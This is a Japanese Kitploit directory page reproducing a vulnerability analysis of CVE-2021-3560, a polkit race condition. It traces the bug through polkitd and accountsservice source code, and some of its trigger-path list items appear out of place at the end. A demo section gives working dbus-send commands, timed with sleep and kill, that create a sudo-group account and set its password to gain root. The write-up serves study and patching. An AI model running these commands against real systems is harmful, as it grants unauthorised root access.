Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2021-3560 — CVE-2021-3560の詳細な分析。Linux PolKitにおけるローカル権限昇格の脆弱性で、根本原因の分析、エクスプロイトの仕組み、そしてrootアクセスに至る競合状態の実演を含みます。 | Kitploit
ツール/GitHubGitHub/chenaotian/cve-2021-3560
特権昇格脆弱性分析エクスプロイトバイナリ解析学習と教育
GitHubchenaotian/cve-2021-3560

CVE-2021-3560

CVE-2021-3560の詳細な分析。Linux PolKitにおけるローカル権限昇格の脆弱性で、根本原因の分析、エクスプロイトの仕組み、そしてrootアクセスに至る競合状態の実演を含みます。

リポジトリを見る
9324年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2021-3560 PolKit 競合状態 ローカル権限昇格 分析

[toc]

脆弱性の概要

脆弱性ID: CVE-2021-3560

脆弱性スコア:

脆弱性製品: linux PolKit (polkitd)

影響範囲: ソースコード 0.113 で導入;https://www.venustech.com.cn/new_type/aqtg/20210611/22788.html

  • RHEL 8
  • Fedora 21 以降
  • Debian testing (“bullseye”)
  • Ubuntu 20.04

利用条件: linux ローカル;dbus + polkitd が存在

利用効果: ローカル権限昇格

ソースコード入手先:

  • polkit-0.113: https://launchpad.net/debian/+source/policykit-1/0.113-5
  • accountsservice: apt source accountsservice
  • dbus: apt source dbus

環境構築

ubuntu デフォルトイメージ ubuntu-20.04.2 で再現可能: http://old-releases.ubuntu.com/releases/20.04.2/ubuntu-20.04.2-desktop-amd64.iso

脆弱性の原理

脆弱性の発生箇所

まず問題のコードを確認する

/polkit-0.113/src/polkit/polkitsystembusname.c : 388 : polkit_system_bus_name_get_creds_sync

root@kitploit:~
static void
on_retrieved_unix_uid_pid (GObject              *src,
			   GAsyncResult         *res,
			   gpointer              user_data)
{
  AsyncGetBusNameCredsData *data = user_data;
  GVariant *v;

  v = g_dbus_connection_call_finish ((GDBusConnection*)src, res,
				     data->caught_error ? NULL : data->error);
  if (!v)
    {
      data->caught_error = TRUE; //何らかの理由で失敗した場合にエラーフラグを設定
    }
  else
  {
      ··· ···//成功時のデータ処理
  }
  ··· ···
}

static gboolean
polkit_system_bus_name_get_creds_sync (PolkitSystemBusName           *system_bus_name,
				       guint32                       *out_uid,
				       guint32                       *out_pid,
				       GCancellable                  *cancellable,
				       GError                       **error)
{
  gboolean ret = FALSE;
  AsyncGetBusNameCredsData data = { 0, }; //data は 0 で初期化
  ··· ···
  g_dbus_connection_call (connection,
			  "org.freedesktop.DBus",       /* name */
			  "/org/freedesktop/DBus",      /* object path */
			  "org.freedesktop.DBus",       /* interface name */
			  "GetConnectionUnixUser",      /* method */
			  g_variant_new ("(s)", system_bus_name->name),
			  G_VARIANT_TYPE ("(u)"),
			  G_DBUS_CALL_FLAGS_NONE,
			  -1,
			  cancellable,
			  on_retrieved_unix_uid_pid, //コールバック関数
			  &data);
  g_dbus_connection_call (connection,
			  "org.freedesktop.DBus",       /* name */
			  "/org/freedesktop/DBus",      /* object path */
			  "org.freedesktop.DBus",       /* interface name */
			  "GetConnectionUnixProcessID", /* method */
			  g_variant_new ("(s)", system_bus_name->name),
			  G_VARIANT_TYPE ("(u)"),
			  G_DBUS_CALL_FLAGS_NONE,
			  -1,
			  cancellable,
			  on_retrieved_unix_uid_pid, //コールバック関数
			  &data);

  while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error))
    g_main_context_iteration (tmp_context, TRUE); //バス側の処理完了を待つ、uid と pid が両方処理されるかエラーになるまで

  if (out_uid)
    *out_uid = data.uid;
  if (out_pid)
    *out_pid = data.pid;
  ret = TRUE; //とにかく TRUE?
 out:
  if (tmp_context)
    {
      g_main_context_pop_thread_default (tmp_context);
      g_main_context_unref (tmp_context);
    }
  if (connection != NULL)
    g_object_unref (connection);
  return ret;
}

polkit_system_bus_name_get_creds_sync 関数では、特定のリクエストに対する認証を行います(具体的なロジックのシナリオは後述)。org.freedesktop.DBus バスを介して GetConnectionUnixUser メソッドと GetConnectionUnixProcessID メソッドを順に呼び出します。これらのメソッドは org.freedesktop.DBus バスによって提供され、リクエストプロセスの PID とユーザー UID を取得し、コールバック関数 on_retrieved_unix_uid_pid に渡してデータを処理します。その後、バス側の処理が完了するまでブロックします。

on_retrieved_unix_uid_pid 関数では、バスが返した結果に応じて異常(error?)を設定するかどうかを判断し、異常フラグを設定します。成功した場合は、ユーザー UID またはプロセス PID をそのまま返します。しかし polkit_system_bus_name_get_creds_sync 関数では、バスの戻りを待ってブロック解除した後(処理完了のフラグは UID と PID の両方が処理されたか、異常が発生したかのいずれか)、つまりバスからの戻りは論理的には3種類: ユーザーUIDが0(特権ユーザー)、ユーザーUIDが0以外(通常ユーザー)、異常。 しかし後続の処理では異常を処理せず、上位に返す out_uid をバスが返した data.uid にそのまま設定し、ret を TRUE に設定しています:

root@kitploit:~
  while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error))
    g_main_context_iteration (tmp_context, TRUE); //バス側の処理完了を待つ、uid と pid が両方処理されるかエラーになるまで

  if (out_uid)
    *out_uid = data.uid;
  if (out_pid)
    *out_pid = data.pid;
  ret = TRUE; //とにかく TRUE?

しかし、DBUS バス側で例外が発生し、コールバック関数が異常フラグを設定しただけで data を処理せずに戻ってしまうケースが考慮されていません。data は 0 で初期化されているため、後続で out_uid が 0、すなわち特権ユーザーとして設定されてしまいます。

では、この問題のある polkit_system_bus_name_get_creds_sync 関数はどこで使われるのでしょうか。

トリガーパス

脆弱性の発生点は polkitd プロセス内です:

polkit はアプリケーションレベルのツールセットで、権限ルールを定義・監査することで、異なる優先度のプロセス間の通信を実現します。制御判断は統一フレームワークに集中し、低優先度プロセスが高優先度プロセスにアクセスする権限があるかどうかを決定します。

簡単に言えば、バックグラウンドで動作する root プロセスであり、プロセス間通信を介して、他の低権限プロセスが高権限プロセスが提供する機能にアクセスする際の権限判断を行います。このプロセスは gdb でアタッチすると再起動するため、ソースコードレベルで分析し、脆弱性関数のトリガーパスを見つける必要があります:

polkitd は gio DBUS プロセス間通信フレームワークを多用しています。事前にマニュアルを確認し、いくつかの重要な関数を把握しておくとよいでしょう。

次に polkitd の脆弱性トリガーパスを分析します。

  1. まず main:

    polkit-0.113\src\polkitbackend\polkitd.c : 155 : main

    root@kitploit:~
    int
    main (int    argc,
          char **argv)
    {
      ··· ···
      ··· ···
    
      loop = g_main_loop_new (NULL, FALSE);
    
      sigint_id = g_unix_signal_add (SIGINT,
                                     on_sigint,
                                     NULL);
    
      name_owner_id = g_bus_own_name (G_BUS_TYPE_SYSTEM,
                                      "org.freedesktop.PolicyKit1",  //バス名を登録
                                      G_BUS_NAME_OWNER_FLAGS_ALLOW_REPLACEMENT |
                                        (opt_replace ? G_BUS_NAME_OWNER_FLAGS_REPLACE : 0),
                                      on_bus_acquired, //バスにアクセスされたときのコールバック
                                      on_name_acquired,
                                      on_name_lost,
                                      NULL,
                                      NULL);
    
      g_print ("Entering main event loop\n");
      g_main_loop_run (loop); //ループ開始
      ··· ···
      ··· ···
    }
    
  2. org.freedesktop.PolicyKit1 というバス名を登録し、3つのコールバック関数があります。特に on_bus_acquired に注目します。これはバスにアクセスされたときに呼び出されます。

  3. on_bus_acquired 関数では、直接 polkit_backend_authority_register という型登録関数を呼び出します。

つまり、他の関数がバス org.freedesktop.PolicyKit1.Authority 上の CheckAuthorization メソッドを呼び出す際、特定のシナリオ(DBUS が UID 取得要求に対して異常を返すように制御する)で、このメソッドの認証の正確性に影響を与える可能性があります。答えが直接わかるので、脆弱性の利用方法としては、account-daemon を使用する方法があります。

脆弱性の悪用

全体分析

まず、exploit 作者のこの図を引用します:

image-20220131163536269

図の説明:

  • polkitd と dbus-daemon および account-daemon の3つのプロセスはすべて root 権限で動作するバックグラウンドサービスのようなプロセスです。
  • dbus-daemon はプロセス間通信の「ルーター」であり、上述の GIO DBUS プロセス間通信フレームワークの中核です。私の理解では、異なるプロセスがここにバス名を登録し、通信したいプロセスがバス名やインターフェース名、メソッド名にアクセスして、そのプロセスの関数を呼び出せるようにするものです。上で紹介した polkitd プロセスのいくつかの関数は、dbus にバスを登録し、他のプロセスからの呼び出しを待つものです。
  • account-daemon は polkitd と似ており、dbus に org.freedesktop.Accounts バスを登録し、ユーザー追加やパスワード設定など、アカウント関連のメソッドを提供します。さらに、このプロセスはユーザー追加などの操作の前にユーザー認証を行い、その認証方法として、上で述べた polkitd プロセスが提供する脆弱性のあるバスメソッド CheckAuthorization を使用します。
  • dbus-send はコマンドです。dbus バスはプロセス間通信呼び出しのためのプログラミングインターフェースを提供する一方で、コマンドラインツールも提供しており、特定のプロセスにメッセージを送信してそのメソッドを呼び出すことができます。

したがって、脆弱性悪用の全体的な流れは以下の通りです:

  1. dbus-send コマンドを使用して account-daemon プロセスにメッセージを送信し、管理者ユーザー(このプロセスの CreateUser メソッドはデフォルトで管理者ユーザーを追加) を作成するよう要求します。しかし、自分の権限ではこの操作は完了できません。
  2. メッセージが account-daemon プロセスに送信されると、account-daemon は polkitd プロセスに権限確認を要求し、このユーザー追加操作を承認するかどうかを問い合わせます。
  3. polkitd はバスに対して、ユーザー作成リクエストを発行したプロセスのユーザー権限とプロセス ID を問い合わせます。
    • 我々がすべきことは、メッセージ送信後、account-daemon がメッセージを受け取ってから polkitd がリクエスト元プロセスの権限を問い合わせるまでの間に、リクエスト元プロセス(つまり dbus-send プロセス)を kill することです。
  4. するとバスはユーザー追加を要求したプロセスが消えたことを検出し、異常を返します。
  5. 上記の分析により、脆弱性は polkitd プロセスが異常をデフォルトで成功と扱い、ユーザー UID を 0(特権ユーザー)とみなすことです。 これにより脆弱性がトリガーされ、操作が許可されます。
  6. dbus-send プロセスが kill されたため、バスのチェックは異常を報告しますが、 には影響しません。 はメッセージを受け取った後、リクエストプロセスが存在するかどうかを気にしません。

account-daemon の通信動作分析

dbus-daemon は単なる中継プロセスなので詳細な分析は省略しますが、ここでは悪用プロセスで重要な account-daemon プロセスについて分析します。このプロセスも GIO DBUS フレームワークを使用しています。いくつかの重要なポイントを簡単に見てみましょう。まずは:

accountsservice-0.6.45\src\daemon.c : 90

root@kitploit:~
static void daemon_accounts_accounts_iface_init (AccountsAccountsIface *iface);

G_DEFINE_TYPE_WITH_CODE (Daemon, daemon, ACCOUNTS_TYPE_ACCOUNTS_SKELETON, G_IMPLEMENT_INTERFACE (ACCOUNTS_TYPE_ACCOUNTS, daemon_accounts_accounts_iface_init));
··· ···
static void
daemon_accounts_accounts_iface_init (AccountsAccountsIface *iface)
{
        iface->handle_create_user = daemon_create_user;
        iface->handle_delete_user = daemon_delete_user;
        ··· ···
}

ここでは G_DEFINE_TYPE_WITH_CODE と G_IMPLEMENT_INTERFACE マクロを使用して daemon_accounts_accounts_iface_init 関数を実行しています。これらのマクロは、とにかく機会があれば daemon_accounts_accounts_iface_init 関数を実行することを意味します。daemon_accounts_accounts_iface_init 関数では create_user メソッドを登録しています。daemon_create_user 関数の実装を見てみましょう:

accountsservice-0.6.45\src\daemon.c : 1099

root@kitploit:~
static gboolean
daemon_create_user (AccountsAccounts      *accounts,
                    GDBusMethodInvocation *context,
                    const gchar           *user_name,
                    const gchar           *real_name,
                    gint                   account_type)
{
        ··· ···
        data = g_new0 (CreateUserData, 1);
        data->user_name = g_strdup (user_name);
        data->real_name = g_strdup (real_name);
        data->account_type = account_type;

        daemon_local_check_auth (daemon,
                                 NULL,
                                 "org.freedesktop.accounts.user-administration",
                                 TRUE,
                                 daemon_create_user_authorized_cb, //コールバック関数
                                 context,
                                 data,
                                 (GDestroyNotify)create_data_free);

        return TRUE;
}

daemon_create_user の中で daemon_local_check_auth 関数を呼び出してリクエストユーザーの権限を検証し、成功するとコールバック関数 daemon_create_user_authorized_cb を呼び出します。ここで認証関数 daemon_local_check_auth を見てみましょう:

accountsservice-0.6.45\src\daemon.c : 1388 : daemon_local_check_auth

root@kitploit:~
void
daemon_local_check_auth (Daemon                *daemon,
                         User                  *user,
                         const gchar           *action_id,
                         gboolean               allow_interaction,
                         AuthorizedCallback     authorized_cb,
                         GDBusMethodInvocation *context,
                         gpointer               authorized_cb_data,
                         GDestroyNotify         destroy_notify)
{
        ··· ···
        polkit_authority_check_authorization (daemon->priv->authority,
                                              subject,
                                              action_id,
                                              NULL,
                                              flags,
                                              NULL,
                                              (GAsyncReadyCallback) check_auth_cb,
                                              data);
        ··· ···
}

ここでは polkit_authority_check_authorization 関数を呼び出して認証を行っています。polkit_authority_check_authorization は libpolkit-gobject-1.so.0 が提供するライブラリ関数で、上で分析した polkitd プロセスのバス org.freedesktop.PolicyKit1.Authority 上の CheckAuthorization メソッドを直接呼び出して認証を行います。認証が成功すると、コールバック関数 daemon_create_user_authorized_cb が呼び出されます:

accountsservice-0.6.45\src\daemon.c : 1051 : daemon_create_user_authorized_cb

root@kitploit:~
static void
daemon_create_user_authorized_cb (Daemon                *daemon,
                                  User                  *dummy,
                                  GDBusMethodInvocation *context,
                                  gpointer               data)

{
        ··· ···

        argv[0] = "/usr/sbin/adduser";
        argv[1] = "--quiet";
        argv[2] = "--disabled-login";
        argv[3] = "--gecos";
        argv[4] = cd->real_name;
        argv[5] = cd->user_name;
        argv[6] = NULL;

        error = NULL;
        if (!spawn_with_login_uid (context, argv, &error)) { //ユーザー追加
                throw_error (context, ERROR_FAILED, "running '%s' failed: %s", argv[0], error->message);
                g_error_free (error);
                return;
        }

        if (cd->account_type == ACCOUNT_TYPE_ADMINISTRATOR) {
                add_user_to_group (context, cd->user_name, "sudo"); //ユーザーを sudo グループに追加
        }

        ··· ···
}

ここでは明らかに、ユーザー追加成功後にそのユーザーを sudo グループに追加しています。そのため、exploit の最後でユーザーを追加した後、sudo su root で root に切り替えることができます。

次に、手動の脆弱性悪用デモを見てみましょう。

デモ

一般ユーザーとして直接 dbus-send コマンドを使用して account-daemon にユーザー作成リクエストを送信します:

root@kitploit:~
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:pwnpolkit string:"pwnpolkit" int32:1

このリクエストは、GUI オペレーティングシステムではパスワード入力ウィンドウが表示されます:

image-20220131153323446

SSH などのコマンドライン端末では直接失敗します:

image-20220131153521697

上記の脆弱性悪用の考え方に基づき、まずこのコマンドの実行時間を確認します:

root@kitploit:~
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:pwnpolkit string:"pwnpolkit" int32:1

image-20220131153802829

次に、このコマンドの実行中(約半分の時間)に kill すると、脆弱性がトリガーされて作成が成功する可能性があります:

root@kitploit:~
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:pwnpolkit string:"pwnpolkit" int32:1 & sleep 0.04s ; kill $!

何度か実行すれば成功します:

image-20220131154220337

そして sudo グループにも含まれています:

image-20220131154304858

同様の方法でパスワードも追加します:

root@kitploit:~
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1002 org.freedesktop.Accounts.User.SetPassword string:'$5$jgqh/7aYiUhpISRA$awGxCtnbYKoAtNVtzUvd6jxw/.1VApN5CvUYyLXUMj0' string:Whatever & sleep 0.04s ; kill $!

User1002 は作成したユーザーの UID に応じて変更する必要があります。パスワードはハッシュ値を使用します。その後、ユーザーに切り替えます。

exp

ここでは exp を詳細には記述しませんが、上記のコマンドを自動化するだけです。github 上の C 言語の exp も動作確認済みです。

hakivvi/CVE-2021-3560

緩和策

最新バージョンにアップグレード

参照

脆弱性開示 (github): https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/

hakivvi/exp (github): https://github.com/hakivvi/CVE-2021-3560

m0_56642842 (CSDN): https://blog.csdn.net/m0_56642842/article/details/118807718?spm=1001.2014.3001.5502

ツールをダウンロード
  • polkit_backend_authority_register 関数では、インターフェースオブジェクト org.freedesktop.PolicyKit1.Authority を登録し、コールバック関数テーブル server_vtable を渡します。脆弱性のトリガーポイントはこのコールバック関数テーブル内の一つです:

    policykit-1_0.113.orig\polkit-0.113\src\polkitbackend\polkitbackendauthority.c : 1333 : server_vtable

    root@kitploit:~
    static const GDBusInterfaceVTable server_vtable =
    {
      server_handle_method_call, //コールバック関数
      server_handle_get_property,
      NULL, /* server_handle_set_property */
    };
    static void
    server_handle_method_call (GDBusConnection        *connection,
                               const gchar            *sender,
                               const gchar            *object_path,
                               const gchar            *interface_name,
                               const gchar            *method_name,
                               GVariant               *parameters,
                               GDBusMethodInvocation  *invocation,
                               gpointer                user_data)
    {
      Server *server = user_data;
      PolkitSubject *caller;
    
      caller = polkit_system_bus_name_new (g_dbus_method_invocation_get_sender (invocation));
    
      if (g_strcmp0 (method_name, "EnumerateActions") == 0)
        server_handle_enumerate_actions (server, parameters, caller, invocation);
      else if (g_strcmp0 (method_name, "CheckAuthorization") == 0)
        server_handle_check_authorization (server, parameters, caller, invocation); //脆弱性関数のパスはここ
      ··· ···
      ··· ···
    }
    

    他のプロセスがバスを介して CheckAuthorization メソッドを呼び出すと、server_handle_check_authorization 関数が呼び出されます。

  • server_handle_check_authorization 関数内で polkit_backend_authority_check_authorization を呼び出します。

  • polkit_backend_authority_check_authorization 関数内でコールバックを介して klass->check_authorization を呼び出します。後者は登録された関数 polkit_backend_interactive_authority_check_authorization です:

    polkit-0.113\src\polkitbackend\polkitbackendauthority.c : 195 : polkit_backend_authority_check_authorization

    root@kitploit:~
    void
    polkit_backend_authority_check_authorization (PolkitBackendAuthority        *authority,
                                                  PolkitSubject                 *caller,
                                                  PolkitSubject                 *subject,
                                                  const gchar                   *action_id,
                                                  PolkitDetails                 *details,
                                                  PolkitCheckAuthorizationFlags  flags,
                                                  GCancellable                  *cancellable,
                                                  GAsyncReadyCallback            callback,
                                                  gpointer                       user_data)
    {
      ··· ···
      if (klass->check_authorization == NULL)
        {
          ··· ···
        }
      else
        {
          klass->check_authorization (authority, caller, subject, action_id, details, flags, cancellable, callback, user_data); // 登録されているのは polkit_backend_interactive_authority_check_authorization
        }
    }
    authority_class->check_authorization             = /
    polkit_backend_interactive_authority_check_authorization; //別の場所で初期化
    
  • 次に順にたどります: check_authorization_sync

  • polkit_backend_session_monitor_get_user_for_subject

  • 脆弱性関数: polkit_system_bus_name_get_user_sync

  • account-daemon
    account-daemon
  • account-daemon は polkitd から許可の応答を受け取ると、ユーザーを作成し、悪用が完了します。